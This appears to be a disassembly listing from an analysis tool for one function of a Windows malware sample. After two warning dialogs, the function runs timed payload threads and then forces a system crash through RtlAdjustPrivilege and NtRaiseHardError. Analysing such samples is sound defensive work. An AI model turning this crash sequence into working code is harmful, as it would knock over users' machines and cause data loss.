Function at 0x402a38
Capabilities:
Create thread
Terminate process
Terminate thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [esp + 0xc], 0x34
mov dword [esp + 8], 0x405028
mov dword [esp + 4], str.WARNING_THIS_IS_A_MALWARE_
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_MessageBoxW]
call eax
sub esp, 0x10
cmp eax, 7
sete al
test al, al
je 0x402a7f
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_ExitProcess]
call eax
mov dword [esp + 0xc], 0x34
mov dword [esp + 8], str.Last_Warning___
mov dword [esp + 4], str.LAST_WARNING__ARE_YOU_SURE_
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_MessageBoxW]
call eax
sub esp, 0x10
cmp eax, 7
sete al
test al, al
je 0x402ac0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_ExitProcess]
call eax
call fcn.00401500
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x40158b
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [ebp - 0xc], eax
call fcn.004021c6
mov dword [esp], 0x7530
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_TerminateThread]
call eax
sub esp, 8
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_InvalidateRect]
call eax
sub esp, 0xc
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x401654
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [ebp - 0x10], eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x401907
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [ebp - 0x14], eax
call fcn.0040236c
mov dword [esp], 0x7530
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_TerminateThread]
call eax
sub esp, 8
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_TerminateThread]
call eax
sub esp, 8
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_InvalidateRect]
call eax
sub esp, 0xc
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x401a11
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [ebp - 0x18], eax
call fcn.00402514
mov dword [esp], 0x7530
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_TerminateThread]
call eax
sub esp, 8
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_InvalidateRect]
call eax
sub esp, 0xc
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x401d11
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [ebp - 0x1c], eax
call fcn.004026ca
mov dword [esp], 0x7530
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_TerminateThread]
call eax
sub esp, 8
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_InvalidateRect]
call eax
sub esp, 0xc
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x401e7b
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov dword [ebp - 0x20], eax
call fcn.00402865
mov dword [esp], 0x7530
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
lea eax, [ebp - 0x21]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 0x13
call sub.ntdll.dll_RtlAdjustPrivilege
sub esp, 0x10
lea eax, [ebp - 0x28]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 6
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0xc000025a
call sub.ntdll.dll_NtRaiseHardError
sub esp, 0x18
mov dword [esp], 0xffffffff
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
leave
ret 0x10